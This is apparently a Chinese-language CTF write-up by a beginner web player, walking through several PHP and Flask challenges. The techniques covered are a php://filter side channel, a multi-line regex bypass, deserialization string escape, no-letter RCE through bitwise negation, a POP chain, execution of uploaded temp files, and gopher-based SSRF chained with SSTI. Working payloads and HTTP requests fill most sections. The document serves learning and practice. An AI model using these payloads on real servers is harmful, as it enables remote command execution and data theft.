前言

作为刚刚入坑 CTF 的 web 萌新,刷题是很重要的。这是十分廉价的提升能力的途径。2023年12月份,没有固定的刷题场所,找了几个小比赛做了点题目,现总结一下

内部靶场 | include

高端的题目往往只需要极少的代码

开题后,映入眼帘只有四行代码

<?php
highlight_file(__FILE__);
file($_POST['file']);
?>

这题是 E 神给我做的题,问过了他,不需要扫路径端口之类的,就只用关注上面的代码,并且 flag 就在 /flag 路径下

知识点: file 函数能够进行文件读取,并且返回一个包含文件内容的数组

那么问题来了,file 函数是不会主动回显的,要怎么读取 flag 的内容呢?最开始尝试使用 php://input 伪协议来进行 rce,然后发现没有反应。思考了一下, file 函数应该是没法进行 rce 的,因为只能读文件而不是像 include 一样的文件包含

那要咋整?E 神给了提示,要使用 php://filter 伪协议

然后就在 E 神的博客里直接找到了答案 (乐),给了一个脚本,稍微修改就能直接用了,然后就静静等待它把 flag 爆出来就好了

脚本原文指路: Webの侧信道初步认识

该脚本的原理原理是 filter chain,很巧妙,b站有介绍视频

视频指路: PHP_Filter_Chain细讲


内部靶场 | easyinclude

开题后是如下 php 代码

<?php
show_source(__FILE__);

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'lzx found you!!!!!<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare
  |dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local
  |logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap
  |type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'lzx says you are so vegetable!!!<br/><br/>';
  } else {
    echo 'Well! Now run the command to get flag!<br/>';
    putenv('PATH=/leran/linux/command');
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {    
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

先看上面的大段,一眼多行绕过,因为 ^.* 只匹配第一行(不用多行模式的情况下)

再往后看,rce 要用到的 \$cmd 需要从一个 json 字符串里取 $cmd = json_decode($json, true)['cmd'];

\$json 又是从请求参数 cmd 中来的 $json = $_REQUEST['cmd'];

这就很好办了,在 post 参数 cmd 中构造一个多行的 json 字符串即可

POST / HTTP/1.1
Host: c8331865-e01a-46db-a087-8d7a27b6ea68.ctf.szu.moe
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

cmd={%0a"cmd":"ls"%0a}

但是,发送上面的请求后,竟然没有回显。这是因为在命令执行前,代码 putenv('PATH=/leran/linux/command'); 改变了环境变量,导致没法直接使用 ls 命令,因为系统找不着它

那就使用 ls 的完整路径 /bin/ls,此时就有回显了

截图

接下来就是看各种目录,找可疑文件,然后使用 /bin/cat <filename> 来读取

最终 http 报文

POST / HTTP/1.1
Host: c8331865-e01a-46db-a087-8d7a27b6ea68.ctf.szu.moe
Content-Length: 34
Content-Type: application/x-www-form-urlencoded

cmd={%0a"cmd":"/bin/cat /f*"%0a}

PCTF | Escape

开题!拿到 php 代码

<?php
error_reporting(0);
highlight_file(__file__);
class G
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='login')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'Who are you? 不要乱来啊!';
            }
        }
    }

function filter($string){
    return str_replace('owl','Monkey',$string);
}

$uname=$_GET['‮⁦参数对吗?⁩⁦7']; // 
$password=1;
$ser=filter(serialize(new G($uname,$password)));
$test=unserialize($ser); 

这题考点是反序列化的字符逃逸,重点在 filter 函数,它将 owl 替换为 Monkey,我们可以利用它来篡改序列化字符串的内容

为啥要篡改?好好的序列化字符串,我改它做什么呢?这是因为题目中的 G 类在构造时,会先确定好 unamepassword 的值。而下面这段代码,将 $password 写死为 1,这样构造的类的 $this->password 不为 login,也就没法 rce 了

$password=1;
$ser=filter(serialize(new G($uname,$password)));
$test=unserialize($ser); 

在反序列化前,serialize(new G($uname,$password)) 经过了一次 filter 函数的处理,也就让我们有了可乘之机,利用字符逃逸,将 $this->password 的值修改为 login

我们可以得到以下代码段

<?php
class G
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
}

function filter($string){
    return str_replace('owl','Monkey',$string);
}

$uname = 'owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}';
$password = 1;
$ser=filter(serialize(new G($uname,$password)));
echo $ser;

$uname='owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}'; 就能使 $this->password 变为 login

我们来看该程序的输出结果

img

在进行 filter 的处理后,10个owl变为了10个Monkey,长度刚好为60,此时由于 " 的截断,后面的内容就成功逃逸出来,成为了 G 类的一部分,最后再使用 } 来结束 G 类的反序列化处理,后面的 ";s:8:"password";i:1} 就被丢弃了

所以我们 get 传参 7=owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";} 应该就能过了 (吗?)

然而并没有这么简单,问题出在参数名上

$uname=$_GET['‮⁦参数对吗?⁩⁦7']; // 

把这段代码复制到 VSCode 中就能发现不对劲

img

参数名里包含了一些不可见字符,所以我们使用下面的代码,将这个包含不可见字符的字符串转为 URL 编码作为我们的参数名

img

运行结果是 %E2%80%AE%E2%81%A6%E5%8F%82%E6%95%B0%E5%AF%B9%E5%90%97%EF%BC%9F%E2%81%A9%E2%81%A67

所以我们 get 传参 %E2%80%AE%E2%81%A6%E5%8F%82%E6%95%B0%E5%AF%B9%E5%90%97%EF%BC%9F%E2%81%A9%E2%81%A67=owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";} 即可 capture the flag

img


PCTF | ezzzzRCE

开题后是如下 php 代码

<?php
highlight_file(__FILE__);
error_reporting(0);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code))
{
    die('想当CTFer?还是欠了点');
}
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))
{
    echo "你好CTFer✌";
    @eval($code);
}

一眼无字母 RCE,看看是异或绕过还是取反绕过,还是说换行绕过

preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)

很显然换行绕过是做不到的,因为有正则修饰符 m(多行模式),异或也是行不通的,^ 符号被拦了

那就只能取反了,使用以下 php 脚本来构造 payload (运行前,先将不可用字符写入 can_not_use.txt 中)

<?php
$a = `cat can_not_use.txt`;
eval("\$can_not_use=array(".$a.");");

function check($char) {
    global $can_not_use;
    for ($x=0; $x<count($can_not_use); $x++) {
        if (strpos($char, $can_not_use[$x]) !== false) {
            return false;
        }
    }
    return true;
}

function neg($cmd) {
    echo $cmd.": ";
    $neg=~$cmd;
    if (check($neg)) {
        echo urlencode($neg).PHP_EOL;
    } else {
        echo "can't do that".PHP_EOL;
    }
}

neg("phpinfo");

得到 phpinfo 取反后是 %8F%97%8F%96%91%99%90,在 php 中,能以形如 (函数名)(参数) 的方式来执行函数,这是异或绕过和取反绕过的常用方式,于是构造 cmd=(~%8F%97%8F%96%91%99%90)() 来尝试执行 phpinfo()

结果发现这是不行的?为什么呢?这要看下面的正则了

if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

一眼无参 RCE,但这个无参 RCE,没这么简单,先来看看这个正则的解释

img

可以看到,它匹配的是形如 xxx() 的字符串,并且 xxx 的开头不能是小括号,这意味着 (函数名)() 的方式不可用了

那要怎么办呢?我们可以使用二维数组绕过,文章指路: [鹏城杯 2022]简单的php

假设我们想执行 phpinfo()

[~%8f%97%8f%96%91%99%90] 就是 [phpinfo]

[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西

[~%8f%97%8f%96%91%99%90][!%ff] 就等价于 “phpinfo”

[!%ff] 这里类似于 [0] 会获取到第一位 即将 “phpinfo” 从数组中取出来了

然后补上括号即可:[~%8f%97%8f%96%91%99%90]!%FF;

然后就是常规的无参 RCE 构造方法,使用了 payload: system(end(getallheaders()));

进行一下取反

img

[~%8C%86%8C%8B%9A%92][!%ff]([~%9A%91%9B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));

这个 payload 的用法就不解释了,加入一个恶意的请求头 rce: cmd 来进行命令执行即可


PCTF | HandsomeMonkey

访问题目 URL,得到如下 php 代码

<?php
highlight_file(__FILE__);
error_reporting(0);

Class K1ng{
    public $fake;
    public $real;
    public $king;
    public $jing;

    public function __invoke(){
        return $this->jing->gu();
    }

    public function __wakeup(){
        $this->king = "美猴王";
    }
    public function evilfunction()
    {
        $this->fake = $this ->real;
        eval($this->king."真假");
    }
}


Class monkey{
    public $key;

    public function __get($name){
        $this->key->evilfunction();
    }
}
Class fozu{
    public $rulai;

    public function __call($arg,$name){
        return $this->rulai->orz;
    }
    public function __destruct(){
        ($this->rulai)();
    }
}


if(isset($_POST["monkey"])){
    unserialize($_POST["monkey"]);
}
else{
    echo "吃俺老孙一棒";
}

经典的反序列化题目,开始找链子,首先找最终目标,应该是 K1ng::evilfunction() 里的 eval($this->king."真假");

等等,他在 $this->king 后面拼接了 “真假”,这意味着后面拼接的内容会阻止 eval 函数的执行,因为 xxx真假 是不合法的命令

但是好巧不巧,我前段时间才做过类似的题目,题目代码大概长这样 eval($this->cmd.'givemegirlfriend!');

我总结了两种绕过方式:

  1. 使用 __halt_compiler() 函数打断编译器的执行
  2. 使用 ?> 结束标记,将后续字符隔离出 php 环境

OK,那继续找链子吧,这题也没有什么技巧,慢慢找就是了:

K1ng::evilfunction() <- monkey::__get() <- fozu::__call() <- K1ng::__invoke() <- fozu::__destruct()

可构造 exp 为:

<?php
// 在这里把题目中的三个类补进去

$K1ng=new K1ng();
$monkey=new monkey();
$fozu1=new fozu();
$fozu2=new fozu();

$fozu1->rulai=$K1ng;
$K1ng->jing=$fozu2;
$fozu2->rulai=$monkey;
$monkey->key=$K1ng;
$K1ng->king="system('cmd');?>";

echo serialize($fozu1);

最后还要做一个 __wakeup 绕过,来对抗下面这段代码

public function __wakeup(){
    $this->king = "美猴王";
}

将得到的 payload 删去最后一个 } 即可 (利用了 GC 回收机制),最终 payload:

monkey=O:4:"fozu":1:{s:5:"rulai";O:4:"K1ng":4:{s:4:"fake";N;s:4:"real";N;s:4:"king";s:20:"system('cat /f*');?>";s:4:"jing";O:4:"fozu":1:{s:5:"rulai";O:6:"monkey":1:{s:3:"key";r:2;}}}

img


内部靶场 | easyrce

这题真的不好归类,涉及到 php 语言特性,也涉及到 shell 命令的执行、临时文件上传

开题后是如下 php 代码

<?php
highlight_file(__FILE__);

if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
        die("p is the best alpha!!!");
    }
    if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
        die('still some "point" exploitable');
    }
    eval($cmd);
}
?> 

超严格过滤,先是过滤了除 p 以外的数字和字母

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))

然后过滤好几个特殊字符,包括 ~ ^ ( [ {,这意味着没法进行异或、取反、自增绕过了

if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))

啊?这难道不是个死局吗?这里就要补充一个关于 php 接受上传文件的知识了

知识点: php文件上传时会先将上传的文件保存到配置好的目录下,由配置项 upload_tmp_dir 决定,其默认值为 /tmp。不管 php 页面有没有接受文件的功能,只要我们上传了文件,它都会把文件临时保存到这个目录,之后会删除

这种方式临时保存的文件名为 php<编号>.tmp,其中的编号一般为一个四位的十六进制数

所以,我们就能够用 p ? . ``` / 空格 这六个字符,来执行我们上传的恶意文件

. /tmp/php????.tmp
替换为:
. /??p/p?p????.??p
然后使用 `` 包裹, 在 eval 中直接执行 shell 命令

注意这里执行的不是 php 文件,而是直接在 shell 里运行的 shell 脚本

构造如下的 http 报文即可

POST /?cmd=`.+/??p/p?p????.??p` HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=-------123123
Content-Length: 152

-------123123
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /f*
-------123123--

PCTF | Double_SS

和胡师傅努力了一个多小时吧,拿了这题的一血,还是挺开心的。该题考点: 利用 gopher 协议来进行 ssrf 和 ssti

开题后是一段 php 代码

<?php

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);


//try to access 5555 port

根据提示,我们应该是要利用这段 php 来访问靶机的 5555 端口 (直接访问 5555 端口是没有用的)

那就 post 传参 url=127.0.0.1:5555,结果回显了以下内容

截图

给了一段key,然后叫我们访问 /name 路由,那就先不管 key 是干嘛的,传参 url=127.0.0.1:5555/name 来看看,得到如下回显

img

报错了,观察报错内容,判断 5555 端口部署了一个内网的 flask 服务,结合报错 KeyError: 'admin' 和前面的 You must be the admin to access the /name 判断,所给的 key 是 flask 密钥,需要我们伪造 session={'admin':1} 来获得管理员权限。既然拿到了密钥,那伪造就很简单,直接 flask-session-cookie-manager 就行了

img

但是问题来了,我们如何将 Cookie 发到 127.0.0.1:5555/name 呢?利用 curl_init 来发送请求的话,需要手动使用 curl_setopt($ch, CURLOPT_COOKIEJAR,$cookie_file); 来添加 Cookie,但是我们无法更改靶机中的 php 代码。这就要求我们将 Cookie 包含到 url 中去

知识点: gopher 协议,是 HTTP 协议出现前的一种网络协议,它将请求信息都包含到 URL 中,能够实现一句 url 发送具有多个请求头、请求体的网络请求

gopher 协议的格式是 gopher://<host>:<port>/<gopher-path>_<TCP数据流>,正因为其能够携带 <TCP数据流>,所以他可以用来代替 http 发起 GET/POST 请求

那我们该如何将 TCP 数据流构造出来呢,方法如下:

将原始的 HTTP 报文中的全部字符进行 url 编码,若结尾无消息结束标志 %0d%0a 则手动添加,例如下面这段请求报文:

GET /hello?myname=caterpie HTTP/1.1
Host: 127.0.0.1:1234

将其全部字符进行 URL 编码并补上 %0d%0a 后:

%47%45%54%20%2f%68%65%6c%6c%6f%3f%6d%79%6e%61%6d%65%3d%63%61%74%65%72%70%69%65%20%48%54%54
%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%31%32%33%34%0d%0a

然后将其拼接到 gopher://127.0.0.1:1234/_ 的后面:

gopher://127.0.0.1:1234/_%47%45%54%20%2f%68%65%6c%6c%6f%3f%6d%79%6e%61%6d%65%3d%63%61%74%65
%72%70%69%65%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%
3a%31%32%33%34%0d%0a

这样我们就成功将 HTTP 报文改写成了 gopher 协议的形式

要注意,在该题中,构造好了上述 gopher 链接后不要急着发送,因为我们发送到靶机后会预先进行一次 url 解码,这样的话 $url 拿到的内容就不对了,所以我们在构造好 gopher 请求后,应当把 gopher 链接中下划线后的内容再次进行 URL 编码,来保证其正确性

OK,接下来我们将下面的报文改写成 gopher 请求,并 post 传参

GET /name HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ

然后就出现了新的报错 (乐)

img

往下翻翻,可以看到以下信息

img

要我们 get 传入一个参数 name,那就改下报文,上面的原始请求改成这样:

GET /name?name=123123 HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ

img

发现回显了 name 参数中的内容,怀疑存在模板注入,传参 name={{3*3}} 验证一下。果然存在 ssti

img

这个 SSTI 禁用了部分关键词,但是 _ [ ] ( ) ' " 这些字符都没禁用,那就能很轻松地使用拼接绕过了,最终 payload

GET /name?name={{''['__cl''ass__']['__ba''se__']['__subcl''asses__']()[110]['__in''it__']['__glo''bals__']['__buil''tins__']['ev''al']('__import__("o""s").po''pen("nl+/f*").read()')}} HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ

img

为了方便构造,我写了下面的 http 转 gopher 的脚本

http = """要转换的 http 报文"""

if http[-1] != '\n': http += '\n'
host = http.split("Host")[1].split("\n")[0][2:]


def urlencode(string: str):
    result = ""
    for i in string:
        encode_char = hex(ord(i)).replace("0x","%")
        if encode_char == "%a": encode_char = "%0d%0a"
        result += encode_char
    return result


url = urlencode(urlencode(http))

gopher = f"gopher://{host}/_{url}"

print(gopher)